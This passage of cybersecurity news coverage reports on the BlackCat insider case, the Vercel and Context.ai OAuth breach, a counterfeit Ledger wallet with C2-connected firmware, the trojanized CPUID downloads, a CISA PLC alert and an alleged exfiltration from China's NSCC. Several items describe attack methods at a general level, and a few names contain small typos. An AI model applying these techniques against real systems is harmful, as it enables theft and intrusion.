Starting in April 2023, Martino used his position as a negotiator to feed BlackCat operators confidential details about the five victim companies he was representing, according to the DOJ. That information included the victims' cyber insurance policy limits and details about how the negotiations were being perceived internally, giving the attackers a precise picture of exactly how much each target could afford to pay.

According to the unsealed court filings, a nonprofit victim paid a ransom worth nearly $26.8 million in cryptocurrency, a financial services company paid more than $25.6 million, and a hospitality company paid $16.5 million. A retail company paid $6.1 million, and a medical company paid $213,000.

Separately from the insider-assisted attacks, Martino also admitted to joining Goldberg and Martin in directly deploying BlackCat ransomware against additional U.S. victims between April and November 2023. Per an October 2025 indictment, the trio demanded more than $16 million in ransom from those attacks. One confirmed payment from a medical device company netted the group $1.274 million, which they split three ways after paying BlackCat's operators a cut.

Meanwhile, law enforcement has seized more than $10 million from Martino, including $9.2 million in cryptocurrency, two properties, a trailer, a luxury fishing boat, and two motor vehicles, including a 1999 Nissan Skyline, all of which were purchased with illicit proceeds.

"Angelo Martino's clients trusted him to respond to ransomware threats and help thwart and remedy them on behalf of victims," Assistant Attorney General A. Tysen Duva said in the DOJ’s statement. "Instead, he betrayed them and began launching ransomware attacks himself by assisting cybercriminals and harming victims, his own employer, and the cyber incident response industry itself."

Martino is scheduled to be sentenced on July 9th, while Goldberg and Martin are set to be sentenced on April 30th. All three face a maximum of 20 years in prison.

Iranian state media has alleged that equipment from Cisco, Juniper, Fortinet, and MikroTik failed during U.S. and Israeli military operations against Iran. The report, which claims that “American ‘black boxes’ failed at zero hour of the attack on Isfahan,” concerns devices that Iran claims either rebooted or dropped offline despite the country having already been disconnected from the global Internet, a fact it says "indicates deep sabotage."

Iranian media speculates that hidden firmware or backdoors allowed remote sabotage, possibly triggered by satellite or at a pre-set time. None of the claims has been independently verified, and given that the claims originate from state media, some skepticism is merited.

Meanwhile, the U.S. hasn’t addressed Iran's specific allegations, but has publicly confirmed that it conducted cyber operations against Iran's communications infrastructure. Chairman of the Joint Chiefs of Staff, General Dan Caine, said during a March 2nd Pentagon briefing that U.S. Cyber Command and U.S. Space Command were the “first movers” in so-called Operation Epic Fury, the military campaign launched against Iran at the end of February. Caine said coordinated space and cyber operations disrupted Iranian communications and sensor networks before strikes began.

Iran’s claims are unverified, but each of the four vendors it named — Cisco, Juniper, Fortinet, and MikroTik — has a documented record of security issues. NSA documents leaked by Edward Snowden in 2014, for example, demonstrated the agency’s Tailored Access Operations unit intercepting Cisco routers during shipping and installing surveillance implants before repackaging them. Cisco never cooperated with the program and later began shipping equipment to decoy addresses to disrupt interception.

Juniper Networks, in 2015, meanwhile, disclosed that it had found unauthorized code in the ScreenOS firmware running on its NetScreen firewalls, which could allow attackers to bypass authentication and decrypt VPN traffic. Fortinet acknowledged in 2016 that older versions of FortiOS contained hardcoded SSH passwords granting remote access, though it characterized the problem as a management authentication issue. As for MikroTik, its routers have been a persistent target for botnet operators, with Tenable documenting a vulnerability chain in 2019 that could enable an attacker to downgrade firmware and create a persistent backdoor.

Chinese state media seized the opportunity to pile on Iran’s claims, with the country’s National Computer Virus Emergency Response Center, which has repeatedly claimed that the U.S. fabricated the Volt Typhoon hacking campaign to deflect from its own cyber operations, promoted the allegations as further evidence of American backdoors in networking hardware. Five Eyes intelligence agencies have attributed Volt Typhoon to Chinese state-sponsored actors targeting Western critical infrastructure.

Iran's Internet, meanwhile, has been largely offline for 52 consecutive days, with connectivity having sat at roughly 1% of pre-war levels since strikes began on February 28, making it the longest nationwide internet shutdown on record.

Vercel, the cloud platform behind the widely used Next.js web framework, has acknowledged a security breach after an attacker compromised a third-party AI tool called Context.ai and used it to gain access to a Vercel employee's enterprise Google Workspace account.

The breach exposed non-sensitive environment variables, and a threat actor operating under the ShinyHunters name has claimed responsibility, reportedly seeking $2 million for the stolen data. Vercel said it has engaged Google-owned incident response firm Mandiant, notified law enforcement, and contacted a limited subset of affected customers directly.

According to Vercel’s bulletin, the breach didn’t start with them but instead with Context.ai, an enterprise AI platform that builds agents trained on company-specific knowledge. At least one Vercel employee had signed up for Context.ai's AI Office Suite using their corporate account and granted it "Allow All" OAuth permissions, Context.ai explained in its own security notice, which says that “Vercel’s internal OAuth configurations appear to have allowed this action to grant these broad permissions in Vercel’s enterprise Google Workspace.” The attacker exploited that broad access to take over the employee's Vercel Google Workspace account and move laterally into internal systems.

Cybersecurity firm Hudson Rock claims to have traced Context.ai's own compromise back further to an employee infected by Lumma Stealer malware after downloading Roblox game exploit scripts in February. The stolen credentials reportedly included Google Workspace logins along with keys for Supabase, Datadog, and Authkit, Hudson Rock reported, but Vercel hadn’t independently confirmed this at the time of writing.

Context.ai also acknowledged that it detected and blocked unauthorized access to its AWS environment in March, but said it later learned the attacker had also compromised OAuth tokens for some consumer users.

Vercel described the attacker as "highly sophisticated based on their operational velocity and detailed understanding of Vercel's systems.” The company said environment variables marked as "sensitive" are encrypted at rest and were not accessed, but that variables stored without that designation should be treated as potentially exposed. The company instructed customers to audit activity logs, rotate any API keys, tokens, or database credentials stored in non-sensitive environment variables, and review recent deployments for anything unexpected.

Vercel has since rolled out new dashboard features, including an overview page for environment variables and an improved interface for managing sensitive variable settings. CEO Guillermo Rauch said on X that the company had analyzed its supply chain and confirmed that Next.js, Turbopack, and its other open source projects weren’t affected.

HNLMS Evertsen, a Dutch air-defense frigate part of the NATO carrier strike group centered on the French carrier Charles de Gaulle, has inadvertently revealed its position after receiving a postcard containing a hidden Bluetooth tracker. According to The Register, the Dutch Ministry of Defense posted instructions online to make it easier for family and friends to communicate with personnel aboard a navy ship, but didn’t fully consider the ramifications for operational security (op-sec).

Bluetooth trackers like the Apple AirTag cost $29 a piece, but there are cheaper, generic versions available on Amazon that cost $10 for two trackers. By allowing a potential adversary to track the ship in real-time, it could put the vessel and the entire strike group at risk, as that information can be used for other operations against the fleet. The fact that it was mailed in meant that spies do not even need to go near the ship to place a tracker on the $585 million Navy ship.

Dutch journalist Just Vervaart, working for regional media network Omroep Gelderland, followed the directions posted on the Dutch government website and mailed a postcard with a hidden tracker inside. Because of this, they were able to track the ship for about a day, watching it sail from Heraklion, Crete, before it turned towards Cyprus. While it only showed the location of that one vessel, knowing that it was part of a carrier strike group sailing in the Mediterranean could potentially put the entire fleet at risk.

Navy officials reported that the tracker was discovered within 24 hours of the ship's arrival, during mail sorting, and was eventually disabled. Because of this incident, the Dutch authorities now ban electronic greeting cards, which, unlike packages, weren’t x-rayed before being brought on the ship. This isn’t the first time that operational security aboard naval ships has been compromised through carelessness. Just last month, a French officer aboard the Charles de Gaulle posted their running time and route on Strava. This revealed the carrier’s location in the Mediterranean, as open-source intelligence could potentially identify the said officer and their position within the French Navy.

A more egregious incident was reported in 2024, when the USS Manchester, a US Navy littoral combat ship, was found to have an unauthorized Starlink terminal that sailors used to access the internet while at sea. The Wi-Fi network, called “STINKY,” was eventually discovered by officers after six months of being installed on the ship’s O-5 level weatherdeck, where it cannot be easily seen and could be mistaken for part of the ship’s official equipment.

New technologies have always been a problem for many militaries and security forces, as seemingly innocent features like checking in on social media and posting on apps reveal personnel's locations, schedules, and habits. While this might not be an issue for most civilians, these data give intelligence agencies a treasure trove of open-source information they can use to infer or confirm data.

Score one for the safety-minded and cryptographic hardware checks. Joje Mendes, a Brazilian cybersecurity professional, almost got bitten by a sophisticated hardware-and-software phishing attack, in the form of a fake Ledger Nano S+ cryptocurrency wallet. The only barrier between Past's virtual currency and the device's remote operators was Ledger's software, which verified that it was running on legitimate hardware.

The story starts when Mendes decided to order the Ledger device from a "major marketplace" in China. He chose to do so because, being a non-Chinese citizen currently located in Shenzhen, importing one from abroad, directly from Ledger, "comes with its own headaches." The device's price was reportedly the same as that of a legitimate unit, but nevertheless, Mendes kept his suspicion mode engaged and installed Ledger's official software before the Nano S+ arrived.

True to the unfortunately expected form, after the device arrived, Mendes noticed it was "clearly" a counterfeit, a fact verified by the Ledger software, which marked it as non-genuine. True to his profession, Mendes decided to tear apart the device instead of tossing it, and found quite an elaborate scheme at work — one that's likely catching other unsuspecting users off guard.

After prying open the case, Mendes found that all chip markings had been scraped off, but eventually managed to identify the central unit as an ESP32-S3 system-on-a-chip (SoC). The device spoofed its identification, claiming it was a "Nano S+ 7704" from Ledger's factory, complete with a serial number. After inspecting the firmware, Mendes quickly found his test PIN and seed phrases for two wallets, as well as hard-coded credentials to reach C2 (command-and-control) servers that slurped up the data.

The presence of Wi-Fi and Bluetooth antennas initially led Mendes to believe the data would be exfiltrated via those methods when on public Wi-Fi, or perhaps via a USB keylogger. Instead, he found that it's actually a fake Ledger app that does the data harvesting. Unaware users will be led to a page that looks like a clone of ledger.com, from which they can download malicious Android, Windows, or macOS apps.

He took apart the app, and sure enough, it was signed with an Android Debug certificate, tracks the device's location even after being closed, and sends data to the C2 servers. The download link QR code, presumably on the package or paper instructions, was likewise tainted. Adding insult to injury, the firmware monitors account balances via their public keys, presumably letting the thieves hear a "ka-ching!" sound whenever funds are deposited.

The expert thinks this device is sold to first-time cryptocurrency users looking for the added security of a hardware wallet, and it's not hard to imagine it working well for that purpose. Even a sleep-deprived professional might use the download link on the box instead of going straight to ledger.com.

Mendes notified Ledger of the elaborate phishing operation and published an update in which he vowed to purchase additional devices to see how deep the rabbit hole goes. After all, someone had a lot of work setting all of this up. Needless to say, if you're buying a hardware cryptocurrency wallet or any other security-related device, always get it from the maker or an official reseller.

Rockstar Games seems to have been hacked yet again, this time by the popular group "ShinyHunters" that has also compromised other large companies before. The attack was first spotted by Cybersec Guru, who later got a quote from a Rockstar spokesperson confirming it had been breached. The group has stolen confidential data and is holding the company at ransom for it, with a payment deadline set for April 14.

"Rockstar Games, your Snowflake instances were compromised thanks to Anodot.com. Pay or leak. This is a final warning to reach out by 14 Apr 2026 before we leak, along with several annoying (digital) problems that’ll come your way. Make the right decision, don’t be the next headline.” — ShinyHunters on their website.

There is little info as to what this data includes (or the ransom amount) since most of the conversation is cordoned off to the dark web, where such sales often occur. Previously, Rockstar was hacked in 2022, where a single person was able to access internal development channels and acquire nearly 100 early gameplay videos for GTA VI, including, allegedly, the source code for both GTA VI and GTA V.

ShintyHunters, in contrast, is a group that operates less traditionally and often exploits API keys, user sessions, and third-party integrations to get inside more legitimately. In this instance, they were able to hijack the company's Anodot, which is an analytics and monitoring tool many businesses use to track finances. Anodot is connected to the firm's cloud infrastructure, which is "Snowflake" in Rockstar's case.

The group didn't break Snowflake's security; they instead extracted authentication tokens from Anodot to pass as regular users and access Snowflake accounts. Once in, they easily stole the data, which likely doesn't include passwords or sensitive player info, and perhaps not even bits from active game development. Still, there will be confidential corporate data that Rockstar doesn't want to float around otherwise.

Snowflake is not just used by Rockstar. Many other companies that integrate it via Anodot have been compromised by ShinyHunters in the past few months as well. Rockstar seems to be part of a broader wave of extortion-related hacks that go beyond any ideological pursuits, such as the recent Spotify breach. In any case, if the ransom isn't paid by April 14, the malicious group will release the stolen data publicly.

Rockstar's spokesperson has told multiple outlets the hackers only took "non-material company information" and that the overall attack doesn't impact "our organization or our players.” That implies maybe the ransom doesn't need to be paid, since the data doesn't have any meaningful value and players aren't affected, or it could just be damage control.

Realistically, we could get insight into some interesting spending habits inside the firm in case the data is released. How the marketing for the game is being shaped behind the scenes, its costs, or a potential delayed release window that hasn't been announced yet. Ironically, considering GTA VI is due in a few months, any cybersecurity lapses at Rockstar only exacerbate the players' worries of said potential delay.

The website of CPUID, the maker of popular hardware monitoring tool HWMonitor and system information tool CPU-Z, has been breached by unknown attackers, and those who downloaded these tools were instead served with an infected file. According to vx-underground on X (expand the tweet below), a cybersecurity research collective, the threat actor compromised cpuid.com, and users who were trying to download the latest version of the tool were served with a compromised installer from supp0v3-dot-com, which was also used in a malware campaign launched in March 2026. A Reddit user said that this replaced the downloaded file for the latest version of HWMonitor, named hwmonitor_1.63.exe, with HWiNFO_Monitor_Setup.exe.

It seems that the primary goal of the malware was to steal browser credentials, especially as it was trying to break into Google Chrome’s IElevation COM interface to try dumping and decrypting saved passwords. The malware is relatively complex, with vx-underground saying in another X post that it was deeply trojanized and uses interesting methods to evade endpoint detection and response and antivirus systems. The hackers behind it also compromised one of the most popular tools used by PC enthusiasts and professionals to execute a supply chain attack.

The developer behind these tools, Samuel Demeulemeester, released a statement on X, saying that the investigation into this breach is ongoing, but it seems that a side API was compromised for about six hours, causing the website to link to the malicious files. However, CPUID’s signed original files were not compromised, and the breach has since been fixed.

Given the popularity of HWMonitor and CPU-Z, many people have probably downloaded the infected files during that relatively short time frame. Windows Defender usually caught the malware before it was installed, and those who bypassed it would probably have noticed the weird Russian install program. However, there’s still a small chance that someone went through with the installation and got their system and stored credentials compromised.

Supply chain attacks have recently been gaining popularity as a method for spreading malware. For example, one of the most popular libraries in JavaScript was recently hit to deploy cross-platform remote access trojans in late March, while an unofficial 7-Zip website was compromised in January 2026 to infect PCs downloading the popular compression utility and make it part of a proxy botnet. Even updated servers could be compromised — this is what happened to Notepad++ in June 2025, where users who were updating the app using its built-in updater were infected.

Iranian hackers are responding to the recent Iran-U.S. war with cyber attacks on critical American infrastructure, using vulnerabilities in systems used at water and energy companies, the U.S. has warned. The warning, released by the Cybersecurity and Infrastructure Security Agency this week, suggests that the Iranian attacks are focused on “internet-facing operational technology,” specifically programmable logic controllers, which allow them to gain a foothold and to cause disruption.

The CISA is now advising that affected organizations should begin to “urgently review” the guidance and to remove potentially exploitable controllers, specifically those made by Rockwell Automation and Allen-Bradley, from “direct internet exposure” using secure gateways and firewalls. The guidance also recommends auditing access logs for suspicious traffic across several ports, particularly 44818, 2222, 102, and 502.

The threat is serious enough that several U.S. agencies, including the FBI and NSA, are warning that organizations involved in critical infrastructure are at real risk. It’s no coincidence that the alert follows on from recent U.S. and Israeli military action against Iran who, in response, has placed IT companies in the region in their crosshairs, from direct strikes on Oracle and Amazon data centers to further threats to attack 14 other U.S. companies like Microsoft, Apple, and Google across the Middle East.

The April 7, 2026 CISA guidance lists the “widespread use” of these programmable logic controllers in several critical industries as a direct threat. The report notes that “malicious interactions” have, in some instances, caused “the manipulation of data” which, “in a few cases” has led to operational downtime and financial loss.

While CISA doesn’t mention a specific hacking group, it has previously issued warnings about CyberAv3ngers, a group affiliated with Iran’s hardline Islamic Revolutionary Guard Corps, who it reported using similar exploits in 2024. Several sectors vital to the U.S. economy, including water, energy, and local municipal services, are considered at risk.

The guidance lists several IP addresses, collated by the FBI, that are believed to have been used by the group over different time periods, up to and including March 2026. Several attack vectors, including Rockwell Automation’s programming software Studio 5000 Logix Designer, are mentioned, along with common access ports and remote access tools that it has seen deployed on vulnerable devices, including Dropbear SSH software using port 22.

The advice for organizations that could be at risk is simple: double-check your logs and protect your devices. Among “immediate steps” it recommends to stop future attacks is to limit public-facing internet access to any vulnerable hardware and to use physical switch modes that limit programming or remote access on any PLCs that have the functionality.

Firewalls should be configured to block traffic on common ports, and unused remote access methods and services should be switched off. Organizations using Rockwell Automation/Allen-Bradley PLCs are also advised to review “previously issued guidance” from the manufacturers to protect them against further cyber threats, where possible.

As CISA’s past guidance shows, cyber attacks from nations such as Iran, Russia, and North Korea are hardly new phenomena. In an era of ever-growing global insecurity, this CISA alert is a timely reminder for those involved in protecting critical infrastructure to harden their systems because, when you’re connected to the internet, every connected system is suddenly at risk to hackers living thousands of miles away.

With all the talk about AI slurping computing and energy resources — plus all the interesting times lived in the Middle East and Ukraine — there's a serious world issue that's flying under the radar. Quantum computers might be breaking most — or all — current cryptography in an estimated three years, and not nearly enough is being done. Filippo Valsorda, the current maintainer of the cryptography library in the Go language and former lead of the Go Security team at Google, is adding his voice to the choir of alerts.

Valsorda's exposé builds on other contemporary reports about the situation, including a days-old report in which Google's engineers point out that all cryptocurrency will suffer a quick explosion. For months, the Go developer was readying a post about deploying post-quantum (PQ, or quantum-computer-proof) cryptographic key exchanges at a relatively leisurely pace to give the software and hardware system time to adapt.

However, in his own words: "that other article is now wrong [...] we don't have the time if we need to be finished by 2029 instead of 2035." Valsorda goes on to state that "it makes no more sense to deploy new schemes that are not post-quantum", while simultaneously acknowledging that adding PQ to extant infrastructure is hard and frustrating, particularly as the move to the currently used ECC (Elliptic Curve Cryptography) itself took long enough.

Valsorda states the computing world must be ready for a fast "hard cut," rather than relying on extended-schedule transitional solutions. The engineer doesn't mince words, saying that "any non-PQ key exchange should now be considered a potential active compromise," and adding that "hybrid classic+post-quantum authentication makes no sense [...] and will only slow us down."

These hybrid "band-aids" are suggested as stopgaps due to the fact that PQ key exchanges take up a ton more space than conventional ECC methods. One such example is your bog-standard secure website connection using a digital certificate (X.509 format), whose key exchange requires only some tens of bytes for transmitting signatures with ECC.

When switching to PQ, that figure easily grows to multiple kilobytes, increasing bandwidth, and, perhaps most importantly, latency — particularly when accessing a certificate chain containing multiple signatures. There are workarounds for this, such as Merkle Tree Certificates, but those will take a while to implement worldwide.

Although X.509 certificates are a worst-case scenario, the problem extends to just about any area of computing you can think of: secure shell connections (OpenSSH already alerts users if they're not using PQ key exchange), code signing, secure DNS, email signatures, and the blockchain. Many IoT devices, for example, tend to run with very limited memory and storage, so they might not be able to even use PQ effectively at all.

Valsorda calls out some particularly troublesome examples. Intel's SGX and AMD SEV-SNP trusted execution environments will be fully broken, and encrypted files are a prime target, as data using today's encryption methods will potentially be easily broken tomorrow. You can read the entire article here for all the technical details.

The Federal Bureau of Investigation (FBI) has reported that Americans lost almost $21 billion due to cybercrime in 2025 — a 26% increase from the previous year, with the number of victims surpassing one million people. According to the agency’s report [PDF], $11.366 billion of these losses involved cryptocurrency, with 181, 565 complaints filed at the Internet Crime Complaint Center (IC3). The agency also determined that scammers have started using AI to create deepfake videos and fake social profiles, as well as clone voices and IDs, with $893 million lost in related attacks.

Most of the amount was stolen through investment scams, which cost $8.64 billion, while $3 billion was lost due to business email compromise. Losses due to tech/customer support scams reached more than $2.1 billion, while losses due to personal data breaches amounted to $1.3 billion. The top five are rounded up by confidence/romance scams, which cost victims $929 million.

This is the largest amount lost and the greatest number of people affected by online scams, according to IC3’s history. Cryptocurrency was also used in more than half of the amount lost, especially because of how easy it is for criminals to launder the stolen funds and make them difficult or impossible to recover. In fact, the FBI reported that more than $333 million was lost last year via Bitcoin ATMs, with most victims aged more than 60 years old. Note that the report does not include cryptocurrency stolen from platforms, like the $40 million taken from Step Finance and $270 million Drift is suspected to have lost in attacks earlier this year. Instead, the $11.366 billion figure relates to scam losses that were transacted in BTC, ETH, and other cryptocurrencies directly from individuals.

Nevertheless, U.S. authorities are taking steps to reduce the losses and the number of victims. The IC3 established the Recovery Asset Team (RAT) in 2018, which would initiate a Financial Fraud Kill Chain (FFKC) when complaints are filed as quickly as possible. The group has addressed 3,900 incidents through the FFKC, freezing more than $678 million in stolen funds. Unfortunately, the agency has its work cut out, especially as technological advancements like AI make it easier for scammers to victimize people, especially older ones who are unfamiliar with these new tech.

A hacker (or hacker group) claims to have extracted more than 10 petabytes (1PB = 1000 TB) of highly sensitive information from China's National Supercomputing Center (NSCC) in Tianjin, which could be the largest known data breach involving Chinese infrastructure. Although the incident remains unverified, its nature and scale — data was stolen from 6,000 state-controlled entities — may point to a systemic weakness in China's critical infrastructure, which has serious implications, reports CNN.

The dataset is said to originate from China's National Supercomputing Center, a centralized high-performance computing facility that supports over 6,000 entities from research, industrial, and defense sectors. Indeed, the alleged content spans multiple disciplines, including aerospace engineering, bioinformatics, fusion modeling, and other fields studied using supercomputer simulations. The individual or group behind the breach, which goes by the name of FlamingChina, released a sample in a Telegram channel in February, claiming the archive contains research tied to such organizations as the Aviation Industry Corporation of China (AVIC), the Commercial Aircraft Corporation of China (COMAC), and the National University of Defense Technology.

The exposed materials include files labeled 'secret' in Chinese, along with engineering documentation, simulation results, and rendered models tied to weapons systems such as bombs and missiles, according to analysts who reviewed portions of the leak. Access to portions of the dataset is reportedly being sold for thousands of dollars in cryptocurrency, while full access is priced at hundreds of thousands of dollars.

The scale of the alleged breach raises questions about the attacker and represents a significant interest from an intelligence point of view. First up, stealing 10PB of data undetected requires exceptional skills, plenty of time (six months), and dedication. Secondly, processing 10PB of data requires significant computing resources that are not usually available to individuals or hacking groups. Thirdly, given the requirements for significant computing capabilities, meaningful analysis of the dataset can indeed be limited to governments or large organizations. Yet, researchers questioned by CNN suggested that while global governments may show interest in such data, some may already possess the information through other means.

According to the alleged attacker, they gained access through a compromised VPN domain, then deployed a botnet to extract data. Instead of transferring data in bulk, the attacker distributed the exfiltration across multiple systems and moved 'smaller' amounts over about six months to avoid detection. Such a method relies more on exploiting system architecture than on advanced hacking techniques, which in part helped the perpetrator to avoid detection.

Although CNN could not confirm the source of the leak or whether it was real, multiple cybersecurity experts say that the samples appear authentic and match what they would expect to see from a centralized supercomputing facility. If the attack is real, the incident highlights ongoing cybersecurity weaknesses in China's critical infrastructure, which means that some of its secret technologies can end up in the hands of foreign governments or terrorist organizations, which may use them to harm not only China but other countries as well.